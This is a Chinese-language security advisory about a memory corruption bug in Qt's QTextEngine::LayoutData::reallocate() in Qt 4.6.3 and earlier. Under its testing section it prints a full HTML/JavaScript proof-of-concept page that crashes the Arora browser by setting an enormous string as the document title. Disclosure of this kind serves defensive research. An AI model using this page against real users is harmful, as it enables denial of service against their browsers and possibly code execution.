Qt QTextEngine::LayoutData::reallocate()函数内存破坏漏洞

受影响系统:

Nokia Qt <= 4.6.3

描述:

Qt是一个跨平台应用程序框架,允许一次性开发应用程序和用户界面,然后将其部署到多个桌面和嵌入式操作系统。

Qt的src/gui/text/qtextengine.cpp文件中的QTextEngine::LayoutData::reallocate()函数没有正确地检查内存重新分配的返回值,用户受骗访问了恶意网站就可能触发内存破坏,导致执行任意代码。成功攻击要求Qt编译了QT_NO_EXCEPTIONS(-no-exceptions)设置。

<*来源:D4rk357
  
  链接:
http://secunia.com/advisories/40588/
*>

测试方法:

 

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<html>
<head>
<title>Arora browser Remote Denial fo Service </title>
<body bgcolor="black">

<script type="text/javascript">
function garbage() {
    var buffer = "";
    for (var i = 0; i < 8000; i++) {
        buffer += "A";
    }
    var buffer2 = buffer;
    for (i = 0; i < 8000; i++) {
        buffer2 += buffer;
    }
    document.title = buffer2;
}
</script>
</head>
<body>
<center>
<br><h2>==> <a href="javascript:garbage();">CLICK HERE</a></font> <==</h2>
</body>
</html>

建议:

 

厂商补丁:

Nokia
—–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.nokia.com

发表评论?

0 条评论。

发表评论